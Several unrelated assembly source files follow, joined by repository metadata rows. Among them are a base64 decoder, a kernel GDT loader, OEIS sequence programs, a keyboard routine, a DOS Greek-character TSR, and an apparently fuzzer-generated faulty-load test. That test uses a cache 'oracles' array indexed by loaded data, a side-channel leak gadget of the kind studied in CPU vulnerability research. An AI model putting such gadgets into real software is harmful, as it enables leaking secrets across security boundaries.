entry: lea eax, [byte edx + 3]
mov ebx, esi
mov ecx, buffer
mov dh, BUFSIZ / 256
int 0x80
lea edx, [ecx + eax]
neg eax
jl short resume
;; The program comes here on error (or when stdin returns EOF, in
;; which case eax will be zero). The value in eax is passed to the
;; exit system call.
errorout: xchg eax, ebx
xor eax, eax
inc eax
int 0x80
;; The initialization code continues here. edi's starting value is
;; stored on the stack so it can be retrieved when needed. If an
;; argv[1] is present, the program passes it to the open system call
;; to get a file descriptor, which is stored in esi. (If no arguments
;; are present, then esi will just be zero, the file descriptor for
;; stdin.) The program then enters the main loop.
setup:
push edi
jle short entry
int 0x80
xchg eax, esi
sub eax, esi
jg short errorout
jmp short entry
;; The base64 translation table. Only the ASCII values between 43 and
;; 127 inclusive are given in this table -- other values are filtered
;; out before lookup occurs. Each entry provides a bit pattern which
;; is stored in the upper six bits. The bottom two bits of each entry
;; must be cleared. The exception to this rule is the entry for the
;; equal sign -- this is set to 0xFF to indicate that this value does
;; not contribute to the program's final output. Note that the entries
;; for plus and slash are duplicated by the dash and underscore
;; entries; this supports a variant of the standard base64 encoding
;; created for use with filenames.
hextable equ $ - '+'
db 0xF8, 0, 0xF8, 0, 0xFC
db 0xD0, 0xD4, 0xD8, 0xDC, 0xE0
db 0xE4, 0xE8, 0xEC, 0xF0, 0xF4
db 0, 0, 0, 0xFF, 0, 0, 0
db 0x00, 0x04, 0x08, 0x0C, 0x10, 0x14, 0x18, 0x1C, 0x20
db 0x24, 0x28, 0x2C, 0x30, 0x34, 0x38, 0x3C, 0x40, 0x44
db 0x48, 0x4C, 0x50, 0x54, 0x58, 0x5C, 0x60, 0x64
db 0, 0, 0, 0, 0xFC, 0
db 0x68, 0x6C, 0x70, 0x74, 0x78, 0x7C, 0x80, 0x84, 0x88
db 0x8C, 0x90, 0x94, 0x98, 0x9C, 0xA0, 0xA4, 0xA8, 0xAC
db 0xB0, 0xB4, 0xB8, 0xBC, 0xC0, 0xC4, 0xC8, 0xCC
;; The file size is padded out to exactly 256 bytes. (Note that the
;; last few entries of the table extend past this point into the
;; bss section of the program's memory image.)
ALIGN 256, db 0
;; The input buffer and output buffer are located here.
buffer equ $$ + 0x0200
| 31.469945
| 72
| 0.701337
|
68a538a40661df209dd81a1bae324a0bae884b43
| 3,303
|
asm
|
Assembly
|
kernel/base/a64/gdt.asm
|
Tiihala/Dancy
|
75f42246faafed0576d4c41f4e572b400379a98c
|
[
"Unlicense"
] | 11
|
2017-08-24T07:08:04.000Z
|
2022-03-17T22:30:15.000Z
|
kernel/base/a64/gdt.asm
|
Tiihala/Dancy
|
75f42246faafed0576d4c41f4e572b400379a98c
|
[
"Unlicense"
] | 2
|
2018-03-03T11:20:13.000Z
|
2018-03-11T14:02:08.000Z
|
kernel/base/a64/gdt.asm
|
Tiihala/Dancy
|
75f42246faafed0576d4c41f4e572b400379a98c
|
[
"Unlicense"
] | 3
|
2017-09-13T02:33:39.000Z
|
2021-09-10T14:37:51.000Z
|
;;
;; Copyright (c) 2021 Antti Tiihala
;;
;; Permission to use, copy, modify, and/or distribute this software for any
;; purpose with or without fee is hereby granted, provided that the above
;; copyright notice and this permission notice appear in all copies.
;;
;; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
;; WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
;; MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
;; ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
;; WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
;; ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
;; OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
;;
;; base/a64/gdt.asm
;; Global Descriptor Table
;;
bits 64
section .text
global gdt_load
global gdt_load_cs
global gdt_load_es
global gdt_load_ss
global gdt_load_ds
global gdt_load_fs
global gdt_load_gs
global gdt_load_tss
global gdt_read_segment
align 16
; void gdt_load(const void *gdt_ptr)
gdt_load:
lgdt [rcx] ; load global descriptor table
xor ecx, ecx ; ecx = 0 (segment selector)
lldt cx ; load local descriptor table
ret
align 16
; void gdt_load_cs(int sel)
gdt_load_cs:
push rbx ; save register rbx
mov eax, gdt_load_cs_end ; eax = address of gdt_load_cs_end
sub rsp, 8 ; decrement stack pointer
mov rbx, rsp ; rbx = stack pointer
mov [rbx+0], eax ; offset
mov [rbx+4], ecx ; selector
db 0xFF, 0x2B ; jmp far [rbx] (32-bit)
gdt_load_cs_end:
add rsp, 8 ; restore stack pointer
pop rbx ; restore register rbx
ret
align 16
; void gdt_load_es(int sel)
gdt_load_es:
mov es, ecx ; set segment register es
ret
align 16
; void gdt_load_ss(int sel)
gdt_load_ss:
mov ss, ecx ; set segment register ss
ret
align 16
; void gdt_load_ds(int sel)
gdt_load_ds:
mov ds, ecx ; set segment register ds
ret
align 16
; void gdt_load_fs(int sel)
gdt_load_fs:
mov fs, ecx ; set segment register fs
ret
align 16
; void gdt_load_gs(int sel)
gdt_load_gs:
mov gs, ecx ; set segment register gs
ret
align 16
; void gdt_load_tss(int sel)
gdt_load_tss:
ltr cx ; load task register
ret
align 16
; uint32_t gdt_read_segment(int sel, size_t offset)
;
; Interrupts should be disabled before calling this function.
gdt_read_segment:
push fs ; save segment register fs
mov fs, ecx ; set segment register fs
mov eax, [fs:rdx] ; eax = return value
pop fs ; restore segment register fs
ret
| 31.457143
| 75
| 0.565244
|
3e57ac25850268ac4b3487c6179a04648a31aa90
| 552
|
asm
|
Assembly
|
oeis/273/A273348.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/273/A273348.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/273/A273348.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A273348: The sum of the semiperimeters of the bargraphs of area n (n>=1).
; Submitted by Simon Strandgaard
; 2,6,16,39,92,211,476,1059,2332,5091,11036,23779,50972,108771,231196,489699,1034012,2177251,4572956,9582819,20039452,41826531,87148316,181287139,376555292,781072611,1618069276,3347986659,6919669532,14286731491,29468247836,60726065379,125031270172,257220819171,528758195996
add $0,2
mov $2,5
mov $4,1
lpb $0
sub $0,1
dif $1,2
mov $3,$2
mul $2,2
add $3,$4
mov $4,$1
add $1,$3
mul $4,2
lpe
mov $0,$3
sub $0,10
div $0,4
add $0,2
| 25.090909
| 273
| 0.728261
|
6f4a120a58848bdceddb8cb53672314362598d78
| 747
|
asm
|
Assembly
|
2 Year/2015 Pattern/MPL/Assignment 11.asm
|
bhushanasati25/College
|
638ab4f038a783beae297652623e8c6679465fef
|
[
"MIT"
] | 4
|
2020-10-22T15:37:09.000Z
|
2022-02-17T17:30:03.000Z
|
2 Year/2015 Pattern/MPL/Assignment 11.asm
|
mohitkhedkar/College
|
f713949827d69f13b1bf8fb082e86e8bead7ac6e
|
[
"MIT"
] | null | null | null |
2 Year/2015 Pattern/MPL/Assignment 11.asm
|
mohitkhedkar/College
|
f713949827d69f13b1bf8fb082e86e8bead7ac6e
|
[
"MIT"
] | 5
|
2021-06-19T01:23:18.000Z
|
2022-02-26T14:47:15.000Z
|
;Write 80387 ALP to plot Sine Wave, Cosine Wave and Sinc function. Access video memory directly for plotting.
;working
.model small
.stack 100
.data
msg db 10,13,'this is cos wave$'
x dd 0.0
xad dd 3.0
one80 dd 180.0
sixty dd 30.0
hundred dd 50.0
row db 00
col db 00
xcursor dd 00
ycursor dt 00
count dw 360
x1 dw 0
.code
.386
main: mov ax,@data
mov ds,ax
mov ah,00 ;set video mode
mov al,6
int 10h
up1:finit
fldpi
fdiv one80
fmul x
fcos
fmul sixty
fld hundred
fsub st,st(1) ;=100-60 sin((pi/180))*x
fbstp ycursor
lea esi,ycursor
mov ah,0ch ;write graphics pixel
mov al,01h
mov bh,0h
mov cx,x1
mov dx,[si]
int 10h
inc x1
fld x
fadd xad
fst x
dec count
jnz up1
mov ah,09h ; display message
lea dx,msg
int 21h
mov ah,4ch
int 21h
end main
| 11.671875
| 109
| 0.726908
|
a0d09670c164be98e8a9d876e680d41786c22865
| 996
|
asm
|
Assembly
|
libsrc/target/pmd85/input/in_KeyPressed.asm
|
Frodevan/z88dk
|
f27af9fe840ff995c63c80a73673ba7ee33fffac
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/target/pmd85/input/in_KeyPressed.asm
|
Frodevan/z88dk
|
f27af9fe840ff995c63c80a73673ba7ee33fffac
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/target/pmd85/input/in_KeyPressed.asm
|
Frodevan/z88dk
|
f27af9fe840ff995c63c80a73673ba7ee33fffac
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; uint in_KeyPressed(uint scancode)
SECTION code_clib
PUBLIC in_KeyPressed
PUBLIC _in_KeyPressed
EXTERN CLIB_KEYBOARD_ADDRESS
; Determines if a key is pressed using the scan code
; returned by in_LookupKey.
; enter : l = scan row
; h = key mask
; exit : carry = key is pressed & HL = 1
; no carry = key not pressed & HL = 0
; used : AF,BC,HL
; write to ppi0 porta with key row (port 0xf4)
; Read from ppi0 portb with value (including shift/ctrl keys) (port 0xf5)
; Bit 5 = shift, Bit 6 = ctrl
.in_KeyPressed
._in_KeyPressed
ld a,l
and 15
out ($f4),a
in a,($f5) ;So we have the key
cpl
ld c,a ;Save it for a minute
and h
jr z,fail
ld b,0
ld a,l ;7 = shift, 6 = control
rlca
jr nc,no_shift
ld b,@00100000
no_shift:
rlca
jr nc,no_control
ld a,b
or @01000000
ld b,a
no_control:
ld a,c ;What we read
and @01100000 ;Isolate keys
and b ;Mask out what we want
cp b ;Is it what we want?
jr nz,fail
ld hl,1
scf
ret
fail:
ld hl,0
and a
ret
| 17.473684
| 73
| 0.668675
|
4db231071dcdaaae91d823df2375ccf0ac5c4bda
| 8,069
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1782.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1782.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1782.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x148c4, %rbx
clflush (%rbx)
nop
nop
cmp %r11, %r11
movb $0x61, (%rbx)
nop
add $10261, %rbp
lea addresses_WT_ht+0x1c744, %r13
nop
add %r9, %r9
mov $0x6162636465666768, %rdi
movq %rdi, %xmm7
vmovups %ymm7, (%r13)
nop
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_A_ht+0xec28, %r13
xor %rbx, %rbx
vmovups (%r13), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %rdi
and %rbp, %rbp
lea addresses_D_ht+0xe6c4, %r11
nop
nop
xor $41419, %rdi
mov (%r11), %r9d
nop
nop
nop
nop
dec %rbx
lea addresses_A_ht+0x1ad2, %rsi
lea addresses_D_ht+0xe9fc, %rdi
clflush (%rdi)
nop
nop
nop
sub $53121, %r9
mov $17, %rcx
rep movsl
nop
cmp $56066, %r9
lea addresses_A_ht+0x1aac4, %rdi
nop
nop
dec %rcx
mov $0x6162636465666768, %r9
movq %r9, %xmm7
vmovups %ymm7, (%rdi)
nop
nop
cmp $21618, %rbx
lea addresses_D_ht+0x74c4, %rsi
lea addresses_normal_ht+0x2744, %rdi
nop
nop
nop
add %r13, %r13
mov $24, %rcx
rep movsq
inc %rdx
lea addresses_D_ht+0x4c4, %rsi
lea addresses_WT_ht+0x1577c, %rdi
nop
nop
nop
nop
nop
sub $13423, %rdx
mov $22, %rcx
rep movsw
cmp $51746, %rbp
lea addresses_D_ht+0xe5c4, %rdx
nop
add %rbp, %rbp
movl $0x61626364, (%rdx)
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_normal_ht+0x5134, %rsi
lea addresses_normal_ht+0x4294, %rdi
nop
nop
nop
nop
nop
inc %rbx
mov $124, %rcx
rep movsl
nop
nop
dec %rbp
lea addresses_WC_ht+0xd207, %r13
nop
nop
nop
nop
add $14774, %rdx
mov (%r13), %r9d
nop
nop
dec %rdx
lea addresses_WC_ht+0x12c76, %rsi
lea addresses_UC_ht+0x102c4, %rdi
nop
nop
nop
sub $52898, %rdx
mov $22, %rcx
rep movsb
nop
nop
nop
cmp $48053, %rdx
lea addresses_UC_ht+0x39a4, %rbx
nop
nop
and $37694, %r9
movb $0x61, (%rbx)
cmp $63378, %rdx
lea addresses_D_ht+0x1a8c4, %rsi
lea addresses_UC_ht+0x1ee60, %rdi
inc %rbp
mov $100, %rcx
rep movsl
nop
nop
nop
nop
nop
add %r9, %r9
lea addresses_A_ht+0xecc4, %rdi
and $13953, %r11
movw $0x6162, (%rdi)
nop
nop
inc %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %r15
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_D+0x1e38, %rsi
lea addresses_D+0x194c4, %rdi
nop
nop
xor %r13, %r13
mov $33, %rcx
rep movsl
dec %r14
// Faulty Load
lea addresses_A+0x124c4, %rcx
nop
sub $26500, %r11
mov (%rcx), %rdi
lea oracles, %r15
and $0xff, %rdi
shlq $12, %rdi
mov (%r15,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'same': True, 'size': 8, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'36': 1, '35': 21828}
35 36 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
| 34.930736
| 2,999
| 0.657331
|
5dfe14e0deb6ef120814fa660c3a760ffe803147
| 827
|
asm
|
Assembly
|
oeis/142/A142310.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/142/A142310.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/142/A142310.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A142310: Primes congruent to 41 mod 44.
; Submitted by Christian Krause
; 41,173,349,569,613,701,877,1009,1097,1229,1361,1493,1669,1801,1889,1933,2153,2417,2549,2593,2857,3121,3209,3253,3517,4001,4133,4177,4397,4441,4793,4969,5101,5189,5233,5717,5849,5981,6113,6421,6553,6949,7213,7433,7477,7741,7829,7873,8093,8269,8753,8929,9281,9413,9677,9721,9941,10337,10513,10601,10733,10909,11173,11261,11393,11437,11657,11701,11789,11833,12097,12713,12757,12889,13109,13241,13417,13681,13901,14033,14341,14561,14737,14869,14957,15661,15749,15881,16057,16189,16453,16673,16937,16981
mov $1,9
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,31
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,13
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,1
lpe
mov $0,$1
add $0,32
| 35.956522
| 500
| 0.727932
|
31d8daceae300e01dbf30455344dc05b13afc703
| 8,027
|
asm
|
Assembly
|
hellas.asm
|
tonypdmtr/80x86
|
c7f69a83e60384ba449056067ea36fa8f3b81c0e
|
[
"MIT"
] | 2
|
2019-11-09T16:38:24.000Z
|
2020-12-11T00:37:35.000Z
|
hellas.asm
|
tonypdmtr/80x86
|
c7f69a83e60384ba449056067ea36fa8f3b81c0e
|
[
"MIT"
] | null | null | null |
hellas.asm
|
tonypdmtr/80x86
|
c7f69a83e60384ba449056067ea36fa8f3b81c0e
|
[
"MIT"
] | null | null | null |
Page 66,132
Title Hellas -- Enables display of Greek characters on a CGA screen
;*******************************************************************************
; Program name : HELLAS
; Written by : Tony G. Papadimitriou
; Description : Enables display of Greek characters on a CGA screen
; Date Started : May 14, 1989
; Date Finished: May 27, 1989
; Date Updated : May 31, 1989
; Installation : At the DOS prompt, type HELLAS
; Usage : ALT-G will toggle from normal to Greek and back
; Version History:
; 1989.05.27 1.00: Original
; 1989.05.28 1.01: Added capability of printing Latin and Greek together
; 1989.05.29 1.02: Corrected letters C,c,J,j,U,u (order was changed)
; 1989.05.31 1.03: Allowed for original characters 128-254 to display
; : (255 is reserved for swapping English/Greek and v.v.)
;*******************************************************************************
; Header last updated: January 10, 1989
bios equ 10h
dos equ 21h
CR equ 13
LF equ 10
CNTRLZ equ 1Ah
HotKey equ 2200h ; ALT-G
;
; ______________________ M A I N R O U T I N E _________________________
;
vectors segment at 0h
org 9h*4 ; intercept keyboard interrupt
old_int_vector label dword
org 07Ch ; Graphics character set table
table_int label dword
vectors ends
rom_bios_data segment at 40h
org 1ah
head dw ? ; Unread chars go from Head to Tail
tail dw ?
buffer dw 16 dup(?) ; the keyboard buffer itself
buffer_end label word
rom_bios_data ends
code segment para
assume cs:code,ds:code
org 100h ; make sure it's a COM file.
; make program memory resident -- TSR
entry: jmp install ; skip over data and make program TSR
db 'Copyright (c) 1989-2019 by Tony Papadimitriou',CR,LF,CNTRLZ
old_keyboard_int dd ? ; Location of old kbd interrupt
my_table label byte
include greek.chr ; load table in memory
; This is the main procedure of the program
greek proc near
; save all registers we will use
push ax
push bx
push cx
push dx
push di
push si
push ds
push es
; call original interrupt routine
pushf
call cs:old_keyboard_int
; check the key pressed by looking at the buffer
assume ds:rom_bios_data
mov bx,rom_bios_data
mov ds,bx
mov bx,tail
cmp bx,head
je Main_Exit
sub bx,2 ; point to just read in character
cmp bx,offset buffer ; Did we undershoot the buffer?
jae no_wrap ; Nope
mov bx,offset buffer_end ; Yes_move to buffer top
sub bx,2 ; And point to character
no_wrap:
mov dx,[bx] ; character in DX now
cmp dx,HotKey ; is it the Hot Key character?
je go_on
jmp Main_Exit
; we got the right key, let's do some work
go_on:
assume ds:code
push cs ; first, point DS to CS
pop ds
cmp active,0 ; is flag 0? (inactive)
je SetMode
; restore the video mode
mov ah,0 ; set original video mode
mov al,defmode
int bios
jmp GetOut ; exit and change flag
SetMode:
mov ah,0Fh ; get current mode
int bios
mov defmode,al ; save old video mode
;
mov ah,0 ; set new mode
mov al,6 ; select graphics mode 80x25
int bios
GetOut:
not active ; toggle the flag
; _____________ T O B E C O N T I N U E D _______________________
; restore all registers we used and return from interrupt
Main_Exit:
pop es
pop ds
pop si
pop di
pop dx
pop cx
pop bx
pop ax
iret
greek endp
active db 0 ; activity flag -- 0=inactive, FFh=active
language db 0 ; language flag -- 0=Greek, FFh=English
defmode db ? ; default video mode
print_vector dd ? ; INT 10h vector
main proc near
assume ds:code
pushf
push ds
push cs ; DS=CS
pop ds
cmp active,0 ; is the routine active?
je m_out ; nope, don't do a thing
; check if we got the right functions
;next_check:
cmp ah,9 ; is it the right functions?
jb m_out
cmp ah,10
ja m_out
; check if character is SWAP character (ASCII 255)
cmp al,255
jne do_orring
not language ; swap language flag
jmp m_out
; do ORring only for letters unless we need to swap table vectors
do_orring:
cmp al,128
jb goon ; no need to swap vectors
call SetThem ; else swap them
jmp m_out
goon:
cmp language,0 ; is it Greek? (0)
jne m_out
cmp al,'A'
jb m_out
cmp al,'z'
ja m_out
cmp al,'Z'
jbe OK
cmp al,'a'
jae OK
jmp short m_out
OK:
or al,80h ; set high bit of character
m_out:
pop ds
popf
pushf
call cs:print_vector
mov al,cs:tflag
cmp al,0FFh
jne quick_out
call SetThem
quick_out:
iret
main endp
; Set the vectors in INT 1Fh with the "original" below
original dd ? ; original table vector is here after install
tflag db 0 ; table flag (0=our table, FF=original)
SetThem proc near
assume ds:vectors
push ax
push bx
mov ax,vectors ; set up DS to vector segment
mov ds,ax
; transfer offset
mov ax,word ptr table_int
mov bx,word ptr cs:original
mov word ptr table_int,bx
mov word ptr cs:original,ax
; transfer segment
mov ax,word ptr table_int[2]
mov bx,word ptr cs:original[2]
mov word ptr table_int[2],bx
mov word ptr cs:original[2],ax
; swap the tflag status
not cs:tflag
pop bx
pop ax
ret
SetThem endp
;
; __________ The following part is destroyed after installation ________
; (add any permanent code above this point)
;
install proc near
; print a short message with my copyright and startup instructions
assume ds:code
push cs ; make sure DS points to code segment
pop ds
mov dx,offset copyright
call print
; set graphics characters vectors to our own table
assume ds:vectors
mov ax,vectors
mov ds,ax
mov dx,offset cs:my_table
; save original vector
mov ax,word ptr table_int
mov word ptr cs:original,ax
mov ax,word ptr table_int[2]
mov word ptr cs:original[2],ax
; end save
mov word ptr table_int,dx
mov word ptr table_int[2],cs
; intercept INT 9H -- keyboard interrupt
mov ax,word ptr old_int_vector
mov word ptr cs:old_keyboard_int,ax
mov ax,word ptr old_int_vector[2]
mov word ptr cs:old_keyboard_int[2],ax
; and put our program's address there
mov dx,offset cs:greek
mov word ptr old_int_vector,dx
mov word ptr old_int_vector[2],cs
; intercept bios INT 10h, functions 9 and 10
; first, get the original vectors
mov ah,35h ; get int vector function
mov al,bios ; for int 10h
int dos
mov word ptr cs:print_vector,bx ; save it, offset first
mov word ptr cs:print_vector[2],es ; segment last
; second, set the new vectors to our own routine
assume ds:code
push cs
pop ds
mov dx,offset main
mov ah,25h ; set int vector function
mov al,bios ; for int 10h
int dos
; deallocate memory and stay in memory
mov dx,offset cs:install ; load point of following programs
int 27h ; Terminate and Stay Resident
copyright label byte
